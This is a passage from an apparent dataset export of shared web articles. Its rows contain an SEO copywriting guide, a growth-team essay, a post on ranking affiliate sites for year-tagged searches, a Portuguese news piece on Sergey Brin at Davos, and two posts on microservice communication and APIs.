fact, only 16% of people will read every word in your article. And: Every man and their dog knows that in order to make text more readable, it should include images, be broken out into shorter sentences and include easy-to-scan subheadings. So, what's the big deal? There is nothing inherently wrong with scanning content. I do it all the time. But, remember: Your goal is to engage readers and keep them on your site as long as possible. One of the easiest ways to do this is use subtle visual cues to stop readers while they are in scan mode. Krug recommends using a billboard style design within your content - use language, layout, media and color contrasts to draw the eye, capture attention and the. In other words: Don't try and be like Wikipedia , unless you are Wikipedia. Instead, follow the example of large publication sites like Gizmodo: And other successful sites in your niche: My friends Gael and Mark from Authority Hacker use a range of visual formatting elements to capture and keep the attention of their readers, including images, banded call outs, checklists and action boxes. Here are a few subtle visual cues you can use in your articles: Quote Boxes You've seen them throughout this post: And on other notable websites: Quote boxes provide an easy way to create color contrast, and use influential figures to capture the attention of readers. Interactive Assets The folks over at Ahrefs have some pretty compelling data to back their product: And while big bold text is effective, there are other ways to highlight compelling data points: Rather than just skim over the text, a reader might stop and wait to see where the counter ends. Watching the number grow is a powerful way to quantify value and capture the attention of your readers. Action Boxes Most readers love content that is actionable. Not only do ""Action boxes"" create another opportunity for color contrast, they imply value. Readers can quickly find the meat inside the post. Sectional Banners Use media to break up key sections in your content. This technique is particularly effective if you have long form content or list posts like this one : It does require a little extra leg work, but the end result is a much more professional, cleaner looking piece of content that will stop the readers eye multiple times as they scan down the page. Pull Quotes You don't always need to create custom images or interview an expert to break up text. You can leverage existing content, but just present it in a different way. Smashing Magazine uses ""pull quotes"" to stop skimmers: Now: Don't get pull quotes confused with block quotes. Pull quotes are short excerpts from the presented text. They are used to pull a text passage out of the reader's flow and give it a more dominant position in the post or the article. A simple way to break up text and draw the eye of your readers. SEO Copywriting Technique #13: Make it easy for readers to find exactly what they are looking for (FAST) Think about how you use the web - you search for specific information, and if you don't find it (easily) you click away from the page. Moral of the story? Make it dead simple for your readers to find exactly what they're looking for. The easiest way to do this: Descriptive jump links: Rather than scroll through thousands of words trying to see if there is something of interest in the post, I make it easily for readers to find what they are looking for in seconds. But, here's the real kicker: You need to get creative with your jump link tex t. Build excitement or curiosity to compel people to find out more. Check out #23 above (""The Great Pixel Land Rush""), it creates a sense of curiosity. How about #4 below (""How to 4x your email subscribers in under 5 minutes"")? Yes please! Get to work right now on these SEO copywriting tricks You've read the article, so now it's over to you. Step 1: Tweet this article. Step 2: Leave a comment telling me which technique you're going to implement. Step 3: Go and implement the technique right now. Talk to you in the comments below.",en
1484838860,CONTENT SHARED,-5954724412982705962,3609194402293569455,-8817271067166899413,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.coelevate.com/essays/embrace-constant-change,How to Embrace Constant Change in Growth,"Quick note: We recently announced the next Growth Series , an 8-week program for designed for experienced practitioners in growth (past participants came from Dropbox, Google, LinkedIn, Evernote, Airbnb, Soundcloud, Facebook, and many other companies). It's by application only, and if interested, you can learn more here . In the early days of building the growth team at HubSpot, we spent a few months optimizing onboarding in our product and produced some meaningful improvements. As the team expanded, I wanted to dedicate a full-time team to onboarding, but I got a few versions of the following questions from other executives: ""Why do you want to put a full-time team on that? I thought you guys were done optimizing onboarding?"" The mentality of ""done"" is the exact opposite of the mentality of high performance growth teams. Change is constant. Change is difficult. Not adapting to change is fatal . The point is a critical one for any company and is the foundation for this growth principle . By nature, humans resist change because adapting can be hard and it's usually a lot of work. We like to think of things as ""done"" so we can check them off our to-do list, and move on to the next thing. Any great growth team is ready for and responsive to change, nimble, and always, always adapting . They go beyond adapting, and truly embrace change building their team and process around it. Let's talk about why... Systematic growth is iterative. There are four main reasons that this principle is important: Product Evolution Audience Shift Channel Change Tactic Fatigue And constant change is the common thread that ties them all together. We must be aware of and accept of the constancy of change, integrate it into our culture and empower our teams to always be adapting. If we don't, our product's growth will inevitably stall at some point in time. If instead we evolve our growth efforts in sync with the changes happening across product, audience, channels and tactics, we will increase our chances of driving sustainable growth and operate by this principle. Reason One: Product Is Always Evolving We should be learning constantly . For product, this means constantly getting better at delivering more of the core value by refining existing features and building new ones based on our learnings. If we don't, we risk stagnation and being beaten by competitors who are constantly evolving to meet the needs of the market. As we refine and change our product, the way our users enter, engage, and exit the product will evolve too, which ultimately affects how we approach growth. Think about how interaction with Facebook's core value has transformed over the years. In the beginning, users updated their profiles, scrolled through their list of friends, clicked through to profiles and left messages on friends' walls. But then, when the company added the newsfeed, user behavior changed in a big way, evolving from comments to the Like Button to current day Reactions. What users shared also changed from text only, to photos, to links, to videos, to live videos today. All of this points to the fact that with every product change, how we onboard, retain, monetize, and generally mobilize users for growth, may change. So we can never forget to evolve our growth strategies in lock step with our product strategy. Reason Two: Audience Is Always Shifting As the market shifts and the product develops and grows, the composition of our audience, who they are, what they want, and what they respond to, shifts. Across the board, our strategy and tactics from acquisition to activation, retention, revenue and referral need to evolve in sync. There are many ways to segment an audience and so there are many ways an audience, and each of its segments, can evolve. The Innovation Adoption Lifecycle First, let's think about it in relation to the Innovation Adoption Lifecycle.",en
1484838924,CONTENT SHARED,7419040071212162906,3609194402293569455,-8817271067166899413,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://gaps.com/google-affiliate/,This 8-Page Website Generated Six-Figures in its First 8 Months - gaps,"Last year I wrote an article about how four numbers could send you millions of visitors from Google in 2016. Despite the ambitious headline, it wasn't clickbait. The tactic I shared genuinely sent me tens of thousands of extra search visitors, was used by some to build $10,000/m online businesses (from scratch) and was shared on social media more than 4,000 times. While what I'm about to share is more of a marketing tactic than a specific niche, it will help you find thousands of potential industries you can make money in this year. I'll start by covering the main points of the original article (with updated content and images) and then cover actual successful stories that people have had with this, which I wasn't able to share before. It all started with a business book... Or rather, the search for a business book. If you follow me on Twitter or Facebook then you'll know that I frequently set new disciplines for myself which I hope to turn into habits. One discipline was becoming an early-riser. Another was quitting alcohol. And another, the most recent, was dedicating more time to reading and trying to finish two books per week. Since I was fresh out of books on my Kindle - I had just finished reading The 10X Rule by Grant Cardone for the second time - I decided to search for some recommendations. I'm not a fan of fiction books, so I headed on over to Google and typed in ""best business books"". The results, from the likes of Business Insider and an array of personal development blogs, sadly suggested books I had read a year or two prior. I then naturally changed my search query to ""best business books of 2016"" to get some more recent suggestions. I started looking through the new recommendations and then suddenly had to stop. ""How many people do what I just did?"" , I thought. How many times in the past year have I searched for something with the numbers 2016 on the end to make sure I get the latest results. I know I've searched for, ""macbook pro alternative 2016"" this year. ""Science behind meditation 2016"". ""top goal scorers 2016"". And on the list goes. As you probably see where I'm going with this, we've just entered 2017 and those hundreds of millions of search queries are going to change. Could you capitalise on what is about to happen? Do you instantly see the potential here? Is there any potential? Let's find out... Interesting idea, but do the numbers back it up? I know there are billions of search queries entered into Google every single day, but maybe I'm just one of those weird few - an oddball - that likes to prefix his search terms with 2016 to get the latest results. To test my oddball hypothesis, we can head to Google Trends , which is described perfectly by its name. Since my hunt for good business books was the inspiration for this idea, let's first look at the Google Trends chart for ""best business books 2016"" and ""business books 2016"". Both terms have spikes at the start of the year, which only keep increasing as time goes on; reaching a peak at years end. This makes a lot of sense since you can't really judge the best books until the year is coming to a close. That being said, the spike at the start of the year still suggests a lot of potential. What if I check ""best movies 2016"" and ""best movie 2016"" together? Again their search volume grows steadily throughout the year with a huge spike in December. Continuing to look at other angles, another query, ""best album 2016"", has a very interesting spike at the start of February and never gets higher than that. The reason I wanted to show this example is because you don't have to wait until the end of 2017 to benefit from ranking for 2017-related search terms. I'll get to queries with a lot less competition in a moment, but - coinciding with the Grammys - even search terms like 'best album 2016' can hit their peak at the beginning of the year. It's interesting to note that the Google keyword planner doesn't actually seem to match Google Trends at all, with a higher figure in November than February and a steady climb across the year. I am honestly not entirely sure why this is - some forum threads suggest they use similar datasets - but Trends may be a 'normalisation' of the data whereas the Keyword Planner is focused on more accurate numbers. Last but not least, let's throw one more generic niche into the ring with ""Video games 2016"" and ""best games 2016"" side-by-side. Video games 2016 doesn't seem to get too much love but best games 2016 gets a huge spike early on with an almost vertical line, suggesting that this term is hot any time of the year. No matter the industry, the results are clear: People love adding '2016' to their search queries to make sure they're getting the most up to date search results. Moving from theory to results (the fun part) When I wrote about this marketing opportunity last year, it was based on a strategy that had worked for me back in 2010. The terms that sent one of my websites the most traffic back in 2010, alongside how many visitors they sent, were: Vancouver 2010: 41,270 visitors Super bowl 2010: 32,836 visitors Olympics 2010: 6,216 visitors Valentines day ideas: 5,688 visitors I didn't bold it, but hopefully you see that the year in those search queries played a big part in why I received so much traffic. The writers for the site were covering these topics frequently, putting 2010 in the headlines, and I received a lot of traffic in return. But that was six years ago, and six years is a very long time on the internet. On the same website of mine where I wrote about this tactic initially - ViperChill - I also wrote an article at the start of 2016 with 2016 in the headline, specifically trying to get traffic because of its inclusion. It worked. I received tens of thousands of visitors from Google to that article alone. And I hadn't tried to pick an easy niche, either. I was specifically looking to rank for ""make money online 2016"" where there are a lot of competitors with authority like Inc.com, Forbes.com and Entrepreneur.com. Below you can see some of the specific queries which sent traffic to the page. I had to put the ""1-5% of actual traffic"" text on the graphic for those just skimming the article and thinking ""those numbers are low"". There are three reasons they are lower than what I'm claiming them to be. 1) I only put Google Analytics on my site on the 25th of September - I was using Clicky analytics before that - which excludes 75% of traffic for the year. 2) My rankings were higher when the article was published but slowly dropped as more people wrote about the topic, making traffic from Google later in the year lower than average. 3) Most importantly , Google Analytics shows ""Not provided"" for 90-95% of search traffic, so you can't see most of the terms driving people to your website. We can get a better idea of the figures by looking at search traffic to the page in general, but again keep in mind that this is only data from a quarter of the year . In other words, 61% of the 13,500 people who visited the article in the last quarter of 2016 arrived via Google. If I am very pessimistic and say that the traffic was no higher at the start of the year than at the end (I ranked #1 for a long time but dropped off slowly) then that's 33,160 people who landed on a single article of mine, primarily because it had 2016 in the headline . This is just for one article. What if you did this for an entire website? Eight ""2016"" Articles. Brand new website. $4,687 in month four In April of 2016, Luqman Khan launched the website 10beasts.com . His goal was simply create a 'list website' featuring the best products to purchase in 2016 in different categories. Just four months later, his site was already number 1 in Google for some of the hottest product-related terms of the year, as shown below. In the first three months of the site, Luqman made $223.30 as an Amazon affiliate which was generated from just 905 people finding his website via Google. Here are the exact numbers: April: $16.5 from 29 unique Visitors May: $34 from 197 unique Visitors June: $170 from 679 unique Visitors To put it another way, he made $0.56 per visitor in April, $0.17 per visitor in May and $0.25 per visitor in June. In July, things really started to take off. Here is his search traffic via Google Analytics. Here's the traffic he sent to Amazon and his earnings for the same period. That's $100,000 in sales he sent Amazon, for $4,687 in commission s. It's interesting to see how his traffic stats almost perfectly align to his Amazon affiliate account, showing how 'buyer-intent' the traffic is that he's receiving. Since all of his sales were thanks to Google traffic and specifically people searching for something with '2016' in their query, Luqman had to put the work in to get Google to notice his site. He says, I wasn't just praying for higher rankings, I was working my butt off. I was doing email outreach and was trying to build quality backlinks as much as possible in those 3 months. I love these type of success stories as they show you really don't need a huge marketing budget or a team of developers to make money online. With a bit of grit and perseverance, there's a lot of money to be made. Most people would be more than happy making $4,500 just four months into a new online venture, but that was only the beginning. 5 months later, the site generated $80,000 profit in December alone In November of 2016, Luqman's 10 beasts website generated more than $40,000. In December, where people are more likely to be shopping for products, Luqman told me via email that the site generated more than $80,000 in commissions . The bulk of his traffic from search was sent to three main pages which covered the best wireless routers, the best 3d pens and the best electric shavers to buy in 2016. It's interesting to see that his title tags (part of the title you see in Google search results) had been changed to also include months, rather than just the year. So each month he was changing these to (Nov), (Dec), etc. Although he did start experimenting with other revenue sources, Amazon still provided the bulk of his earnings. In November alone he earned $35,631 from Amazon and $3,520 from a program called LixPen. I hadn't heard of LixPen before, but it turns out they sell 3D pens so Luqman had started going direct to product creators and becoming an affiliate for them. His site is now entirely focused towards ranking for 2017-related terms and as he told me, he's now trying to turn the website into a real brand. Congratulations for taking an idea and putting it into practice, Luqman ! We're not done just yet. There's a bigger fish in the 2017 pond. The Link Network That Will Dominate Google in 2017 To regular readers, it's no secret that I'm disappointed as to how well BestProducts.com are ranking in Google. Primarily because the main reason they do so is thanks to sitewide footer links on Esquire, Cosmopolitan and Elle.com which are all owned by their parent company, Hearst Media. In other words, they use their current ""authority"" with Google to help their little, newer brands rank well too. Linking to their own sites is fine, but they do it in a really sneaky way . It's ironic that Google will go through black hat forums looking for sites and networks to penalise but totally ignore the big fish right under their nose. I guess Hearst spend enough money on Google AdWords. My mini-rant out of the way, there is something to learn from BestProducts.com: They absolutely dominated Google for 2016-related keyphrases, and they'll do the same again in 2017. Let's look at the meteoric growth, first of all. They've tripled their traffic from 2.5 million visitors to 7.5 million visitors in just five months. When you consider that BestProducts wasn't even online at the start of 2016 that chart becomes a little more mind-blowing. With 90% (!) of their traffic coming from search, just take a look at the huge search volumes of these keyphrases and how well they're ranking for them. These terms in this screenshot alone, where I am excluding hundreds of keyphrases with 2016 in them, could potentially send 429,400 visitors to the site in a single month . When you consider Luqman was making an average of $0.30 per visitor, that's an estimated income of $143,000 for just the terms above, and just for one month. Keeping in mind that they won't have 100% of people searching for something landing on their site - even if they're ranked first - it's still clear to see why Hearst Media are willing to use risky tactics to get to the top of Google. There's an incredible amount of money to be made. Finding the Keywords That Will Make You $ If you see the huge potential available to you in 2017 and want to profit from 2017-related terms, let's take this further. The examples above were simply that. Examples. I don't expect to rank for 'best album 2016', even if I have an exact-match domain name. I expect Billboard.com and MTV and whoever else will dominate those search rankings as soon as they write a single article on the topic, regardless of how many backlinks they receive. I also don't expect to rank for 'top goalscorer of 2016' since FIFA, the BBC and the EPL website will probably be up there. Alongside everyone else who is featured in Google News or creating content for properties like YouTube. That being said, I wouldn't actually want to rank for those terms. There's no point in potentially getting millions of visitors to your site (capitalising on a lot of angles), if you aren't going to make any money. Am I really going to sell match tickets or club merchandise to someone checking whether Lionel Messi has scored more than Cristiano Ronaldo this season? It's possible, but unlikely. We're getting to the point now where you need to take action. If you want to make money with this method, you have to take the time to do proper keyword research. You can't write a single blog post with ""2017"" in the headline and expect to suddenly get thousands of visitors to your site. The more obvious a keyphrase is, the more likely other people are going to be targeting it. The whole premise behind Gaps is that I want to help create more online success stories, so please be willing to put in some time here. Deal? Let's go and find those keywords with both traffic and income potential. Source #1: Google & Google Trends Suggestion Boxes When I type 2016 into Google Trends, Google are kind enough to suggest some terms that I may be looking for. They do the same for regular Google queries as well, as shown below. Just finding inspiration from ""2016 top"" will get you the same results as everyone else reading this article - at least for English speaking audiences - so try adding some other words into the mix to get some other angles to target. Some potential queries that come to mind include: There are a lot more I can add to this list but you get the idea. When I did this same exercise last year I quickly found four industries to potentially capitalise on. While there are dozens of ways to make money with this type of traffic, a simple rule of thumb is to find keyphrases related to things that you can buy on Amazon.com. If it's available on Amazon, you can link to it as an affiliate, and make money if someone makes a purchase. Keep this in mind for the following keyword sources. Source #2: Google Trends Related Queries Not only will Google Trends give you an idea of how popular search terms are over a certain time period, it'll also give you related search terms you can use to narrow down your targeting. For instance, if I type in ""best games 2016"" I see the following related queries: I now have a few new industries and angles to think of such as ""best android games 2017"", ""best PC games 2017"" and so on. For another example, let's say I type in ""best album 2016"", I see the related queries are: best songs 2016 album releases 2016 2016 grammy winners You can guarantee these are all going to be searched for in 2017 as well. Take your list of terms from step one and run them all through Google Trends to see if there are more varied terms that pop-out which aren't so obvious (and others wouldn't find so easily). Source #3: The Google Keyword Planner Although the Google Keyword Planner is undoubtedly the most accurate keyword tool on the planet (since the data comes from the source), the reason I've put it third in my list is because it's a little... obvious . Anyone who knows anything about SEO is going to head here first and put 2017 in the search box. Just because it's popular though, that doesn't make it bad. Many thousands of people will read this article, see the potential with this idea, and then do absolutely nothing with the information here . Once you open the tool , remember not to search for 2017. The planner is delayed by a few months so there aren't going to be many results for 2017-related terms. Start with 2016, and then ""be creative"". By default, you're just going to see generic results like ""movies in 2016"" and ""star trek 3 2016"" which get searched a lot, but aren't likely to make you any money (unless you happen to sell Star Trek memorabilia). Start typing in terms that may have came to mind from previous research or what you can see other websites (like BestProducts) already ranking well for. One term that sent them a lot of traffic was 'best router 2016'. If I type 2016 router into the Keyword Planner I get back results like: They don't have 2016 in the query, but now you know people are going to be adding 2017 to those search terms, so if it's a niche you're interested in, add them to your list. Source #4: Reverse-engineer popular websites We've established that a good way to consider if a niche is valuable is to find keyphrases related to products that would be sold on Amazon. To take that a step further, you can start looking at the search traffic of sites that talk about things that are for sale on Amazon. Since Best Products and 10 Beasts both cover tech products, let's use Engadget - a large tech blog - for this example. If I put Engadget into SimilarWeb , I can see that the top five search terms estimated to be sending them traffic are: The Chinese (Japanese?) characters were not a typo. I guess the second one is related to Pokémon Go. You can uncover 8,198 more terms via SimilarWeb but that does require a premium account. We did get one interesting product we could promote though: Google Home. Similar to Amazon Echo, it's going to be a hot product in 2017 and people will definitely be searching ""Google home 2017"" and ""Google home review 2017"". Another free keyword tool we can use is Amazon's own Alexa.com. Putting in Engadget again, we get the following terms: You aren't going to get the best results from free tools, but once again we find a product that people will be searching for in 2017: Google Pixel. Just like with Google Home, they'll be searching for things like ""Google pixel review 2017"" which you could rank for and then promote as an affiliate. Again, these free options aren't the best, but they can give you some insights if you use them on enough sites (you don't just have to check Engadget). If you do have a bit of a budget and you're looking to do more reverse engineering, I can't recommend Ahrefs highly enough. In the past I would have recommended SEMRush, but since Ahrefs have really upped their game on keyword research (they provided the data on BestProducts above) there's no other tool you need. For Engadget, we can then see what they were really ranking for in 2016, with data on more than 12,000 keyphrases in the US alone. I've highlighted a few that stood out to me from the first page of results but there really are thousands of terms to go through for just this one website alone. Source #5: Your Own Experiences & Imagination The best source for niches to target is without a doubt...you! If there is some angle or industry that instantly came to mind when you thought about search terms for 2017 then start looking into it more with the keyword sources mentioned above. Also head over to Google and check the 2016 search results to see if anyone else capitalised on them. One tip, to see how popular certain topics were in 2016, is to find blog posts trying to rank for 2016 related keywords and seeing if they have a lot of shares and comments. Using your own imagination can be both the easiest and the most difficult source to work with. On one hand you will likely have hobbies and interests I didn't mention here which will give you ideas other people reading this won't have, but on the other - because I didn't talk about them here - you may doubt the potential that particular industry has. There's no fool proof formula to guarantee your success with this. My best advice is to target a lot of terms and most importantly, dive right in with both feet. With a domain name at $9 and hosting at a couple dollars per month, there really isn't much to lose besides time, but it's a learning experience anyway. If you're looking to dive in and take action with this, I do have four strategies to help. New to Gaps? This is half the story... For every success story we feature, we highlight gaps in the market which reveal additional opportunities to be successful. Many are possible by simply changing the industry (or location) to focus on while others look at how to profit from other traffic sources or monetisation options. If you want to know exactly what types of sites I would build to dominate this '2017 angle' and how to analyse the people who are already ranking in Google, I've put together a 100% free strategy guide covering exactly that. You can also ask any questions you have and get feedback from me personally in the comments section. If that's something you would be interested in, click here for the free report . ··· Want to read more articles like this? We share them once a week via our newsletter . New articles are shared on our email list 24 hours in advance of social media, so you can be the first, to be the first . You can also follow us on Twitter and Facebook . P.S. Clicking the heart button below to lets us know what types of success stories and opportunities you would like to see more of. Thank you for reading!",en
1484863250,CONTENT SHARED,8185199775369928004,3609194402293569455,-8817271067166899413,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://epocanegocios.globo.com/Forum-Economico-Mundial/noticia/2017/01/se-eu-fosse-falar-de-todas-ideias-pessimas-que-tive-precisariamos-de-muito-tempo-diz-cofundador-do-google.html,"Se eu fosse falar de todas as ideias péssimas que tive, precisaríamos de muito tempo, diz cofundador do Google","O cofundador do Google, Sergey Brin, participa do Fórum Econômico Mundial (Foto: LAURENT GILLIERON/EFE) Para o cofundador do Google , Sergey Brin , prever para onde a tecnologia irá avançar é simplesmente impossível. Em Davos, participando pela primeira vez do Fórum Econômico Mundial, ele comentou que muito se discute sobre como lidar com a inteligência artificial e a quarta revolução industrial. ""As pessoas vêm me perguntar o que a tecnologia pode fazer no sentido de automação, e eu tenho que explicar que é difícil fazer previsões. É preciso estudar mais"", afirmou Brin, atual CEO da Alphabet. saiba mais Para ele, a inteligência artificial e a quarta revolução industrial fazem parte de um processo mais longo de automação, que está em curso há 200 anos. ""Precisamos, sim, pensar e discutir como isso vai mudar e nos fazer evoluir como sociedade e o que pode alterar na economia e na ordem social"". ""É muito difícil prever o que a tecnologia pode fazer. Não sabemos ao certo quais são os limites"", disse, em conversa com Klaus Schwab, fundador do Fórum. Exemplo disso é que ele próprio não prestou atenção ao início do desenvolvimento do Google Brain, o braço da empresa em inteligência artificial. ""Um dos cientistas de computação estava muito envolvido nessa questão e sempre vinha me mostrar o que o computador tinha conseguido fazer"", contou, ""e eu dizia 'sim, é legal, agora volte ao trabalho'"". Hoje, o Google Brain faz parte de todos os projetos da empresa, como busca de fotos, anúncios etc. Brin acredita que, com o desenvolvimento da inteligência artificial e da capacidade de aprendizado dos computadores, todos os campos de atuação da sociedade podem se expandir. Ele citou a medicina como exemplo. O empreendedor investe atualmente em estudos a respeito da doença de Parkinson, ""mas me pergunto se não deveríamos estar trabalhando em soluções de aprendizagem para máquinas, que poderiam nos permitir fazer mais e entender mais doenças, e, mais amplamente, poderiam auxiliar em outros campos, como economia, eletrônica, astronomia"". Para prever para onde a tecnologia vai evoluir, comentou Brin, é necessário discutir também o que a humanidade e sociedade vão querer no futuro - uma questão descrita por ele como profunda e ""um pouco filosófica"". ""Temos valores e desejos hoje que são provavelmente muito diferentes do que a sociedade tinha antes da revolução industrial, que por sua vez deveriam ser diferentes dos desejos antes da revolução agrária"". Brin afirmou que a evolução da tecnologia tem mudado muito a forma como a sociedade vê a si própria, os trabalhos que são feitos e o propósito. ""Se voltássemos 10 mil anos e encontrássemos uma pessoa, ela provavelmente nem nos perguntaria 'o que você faz', porque seria uma pergunta sem sentido para ela. Se você falasse que é economista, a pessoa simplesmente não entenderia"", brincou com Klaus Schwab. Com esse exemplo, Brin explicou que a tecnologia tem ""tirado alguns fardos"" dos seres humanos, que hoje têm mais tempo para realizarem trabalhos mais intelectuais e de reflexão sobre a própria sociedade. Apesar de evitar previsões, o fundador do Google disse esperar que ""algumas das tarefas mais mundanas serão eliminadas [pela tecnologia], e acredito que as pessoas vão descobrir formas mais criativas e com mais significado para passar o tempo"". ""Eu tive sorte de estar no Vale do Silício, e o Vale do Silício teve sorte de ser o centro de muitos desenvolvimentos da tecnologia"", disse Brin. Mas o cofundador do Google, contudo, afirmou que a sorte ""também tem relação com tentar muitas vezes"": ""se eu fosse falar de todas as ideias péssimas que tive, precisaríamos de muito tempo"". Para ele, uma das mais importantes características do Vale do Silício é a oportunidade que as pessoas e empresas têm para tentarem coisas novas. ""É uma sorte ter um ambiente que tolera apostas arriscadas e um grande volume de fracasso"".",pt
1484908994,CONTENT SHARED,-5813211845057621660,7645894863578715801,4609210914782123550,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0,SP,BR,HTML,https://medium.com/@diogo.lucas/communication-patterns-in-a-microservice-world-af07192b12d3,Communication patterns in a Microservice world,"Ok, so you drank the microservice kool-aid and that's everything you intend to do from now on. By the time you implement your second service (or even better, refactor an existing one into two smaller pieces), you have to think of communication between MSA modules. At first, things are simple enough, so you pick a weapon of choice (say, REST) and use it. Then again. And yet another time. And before you know it, you have implemented a chatty, reflective and frail set of interfaces. Hardcore fans of a given communication model are probably already shouting (in their heads, I hope, seriously, people, stop it) ""THIS IS A PERFECT CASE FOR REST/EVENT-SOURCING/ACTORS/UNICORN-BASED-MESSAGING!"" when, in reality, it usually isn't. These approaches either preconize a very specific way of setting up interfaces or are broad enough that different, inconsistent patterns may arise if no care is given. And that violates an important rule of thumb: While microservices allow easy disposal of modules, they require careful consideration of cross-cutting protocols. So, let's break that statement into chunks and justify it, shall we? easy disposal of modules : if each service is sufficiently a) small and b) isolated, they should be cheap and fast to create and maintain. This allows a fast-paced delivery of new features while keeping potential technical doubt under control; they require careful consideration of cross-cutting protocols : microservices are no silver bullet agains complexity, pushing it outside of service boundaries. Where does it go, then? To the interaction between these modules. Requests to implement something akin to distributed transactional behavior across systems or simply performing calls over diverse syntaxes (eg: payloads, url routes, HTTP verbs) can easily become nightmarish if teams do not reach a consensus in terms of standards (yeah, that ugly word). Commands A command happens when a client system needs an action to be performed by a given service provider. The client may also need a response (in either a sync or async way) informing about the operation result . The core things to keep in mind are: this promotes some coupling, as client (and potentially provider) are made aware of one another; coupling becomes tighter in case the client needs a response, as this means it will need to a) wait and b) handle all possible outcomes of the operation (including unavailability); coupling becomes tighter in case of synchronous calls, since the provider needs to process the request at the time it is made. For an in-between solution, a common pattern is to provide a simple ""accepted"" answer synchronously and do the heavy-lifting in an async fashion; time-bound operations increase interaction complexity: if a client issues a command and needs an answer in up to a minute, what should it do after the timeout? What should it do if the provider still processed the request after, say, 2 minutes? A cousin to the this pattern is the query . While a different beast in nature (it shouldn't be data altering, for example) and potentially something that can be implemented in a radically different way (see CQRS , which, BTW, proposes similar concepts) the bullet points above are still valid for such operations. A part of the popularity of commands is that, at the end of the day they are very easy - no wonder most of us are introduced to programming by relying exclusively on it (yeah, HelloWorld , I am talking about you). Having said all that, this pattern is frequently unavoidable: you will need an answer from the credit card service in your e-commerce before you move forward in the order process, no matter how much you would like to avoid it. Events An event refers to an occurrence in the past . That simple statement carries a number of consequences: events are immutable . You can't say ""nonono, that order wasn't submitted, I won't have that!"" . It's a done deal, there's nothing you can change about it. You can, at most, react to it; the emitter can be completely oblivious of the event listeners. Just publish it somewhere and let consumers react to it as they see fit; the listeners may also be oblivious of the emitter - in case the event messages flow through a shared channel (eg: a message queue), this is the only address they need; the overall process is async by nature; therefore, this pattern allows fairly decoupled communication. The event emitter is saying ""look, buddy, this is what happened, do what you will"" . If well implemented, the provider does not even know who are the clients listening to that event - it simply doesn't care. Think of it as a news outlet: broadcasting to a large audience is fairly the same process, no matter the audience size. This pattern has been around for ages, especially in UI-focused stacks: old-time languages such as Delphi had events as a first-class citizen and newer, trendy libs such as redux are designed around event-based flows. In the big architecture world, buzzwords such as Event-Driven Architecture , Event Sourcing and others revolve around this concept. In case this is starting to sound like a sales pitch, please beware that it's not all flowers in the event world: due to its async nature, developers have to worry about correlation : you ask for something (eg: create an order for me) and things start happening (eg: picking, packing, invoicing), in parallel to other people's requests. To find the events you care about, you need a tracking number of sorts, so you can tie things together; implementing something similar to a distributed transaction becomes a major challenge as each event is a) independent and b) immutable, hence you cannot roll it back. The is no simple answer to that and possible approaches include business process changes, compensating operations and eventual consistency (and quite commonly a mix of them); since processing is so distributed, systems that are sensitive to ordering have a major hard time coping with all the inherent non-determinism of when they receive messages. There are systems out there, such as Kafka, that allow some ordering support, but quite frequently any ordering-bound logic needs some level of revision; in a web world, protocols for this pattern are not as close to consensus as for commands (AKA REST). But in case the server is publishing events, how can they be made easily available for consumers? Web sockets ? SSE ? Polling (yuck)? Web hooks ? The fact that so many methods exist shows that none can be claimed king of the hill; all the points above considered, while this approach may scale and extend better over time, it usually presents a higher ticket to entry, leading teams to defer a push towards events until it's absolutely required (or, unfortunately, even later); In a nutshell Use commands if: The service client needs the operation response in order to move further with its process; The operation needs to be synchronous; The call is a simple query (long-running ones may require scheduling); Consider using this approach if you are just getting started, as it tends to be simpler at first; Use events if: It is a commonly sought-after message (eg: an order has been invoiced), meaning a single message may be read by multiple clients; The producer of the information does not care about extra processing done by whoever is consuming it - those extraneous operations should have no impact on the original results; Consider introducing this as your architecture grows, as a pure command pattern does not escale well over a larger problem set; Further reading None of the concepts above is radically new and can be found in seminal text on topics such as: Event-driven Architecture proposes events as a centerpiece kind of message for decoupled communication between different systems. Event sourcing goes one step further and suggests that application state emanates from events, allowing a) a clear separation of both (each kind of data can be stored with different strategies) and b) the composition of events into multiple consolidated visions (financial and fulfillment aggregations on order data); CQRS uses the difference between commands and events to propose models in which write and read operations are asymmetric to one another, so it is a great match with event sourcing; Reactive programming , in many of its flavors, uses events as a core concept.",en
1484911446,CONTENT SHARED,-7113155163062752691,1374824663945909617,7124692265469031695,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 Safari/537.36",SP,BR,HTML,http://sensedia.com/blog/apis/arquitetura-de-microservicos-habilitando-apis/,Arquitetura de Microserviços habilitando APIs - Sensedia,"Esse post foi realizado pelo nosso consultor Rafael Rocha, e adaptado para o nosso blog, caso queira acessar o original em inglês, basta acessar este link . Contexto Hoje em dia a arquitetura de Microserviços se tornou dentro do segmento de desenvolvimento de software. Esse modelo arquitetural é uma abordagem que prega pela decomposição de aplicações em uma gama de serviços. O time de desenvolvimento pode adotar as tecnologias mais apropriadas para resolver problemas específicos . A arquitetura de Microserviços também aumenta a escalabilidade por possibilitar o uso de abordagens como auto-scaling e micro-container . APIs e microserviços estão muito relacionados já que o padrão é utilizar uma interface de APIs que é totalmente voltada a RESTful. Porém, hoje em dia nós ainda sofremos alguns problemas quando precisamos integrar com sistemas legados para externalizar funcionalidades como serviços, uma vez que a maioria dos sistemas não possuem protocolos como WebServices ou interfaces RESTful, então vamos explorar esse tema. O Problema e a abordagem de Microserviços A maioria das companhias querem expor APIs de forma interna (dentro da corporação) e/ou externa (para parceiros ou clientes), no entanto, os seus sistemas ou aplicações não foram contruídas para este propósito. A maioria das aplicações são baseadas na seguinte arquitetura: Aplicações monolíticas para web usando um banco de dados único. Ex: Java (JSF) com banco de dados Oracle. Produto ou plataforma como por exemplo ERP's da SAP. Aplicações de alto nível em escritas em Cobol Aplicações Cliente-Servidor implementados em VB6 e SQL Server. Quando nos deparamos com esse tipo de cenário, a solução comum é construir um adaptador para a exposição de um protocolo padrão. Esse componente deve se parecer com o diagrama abaixo: O adaptador é o componente principal para a 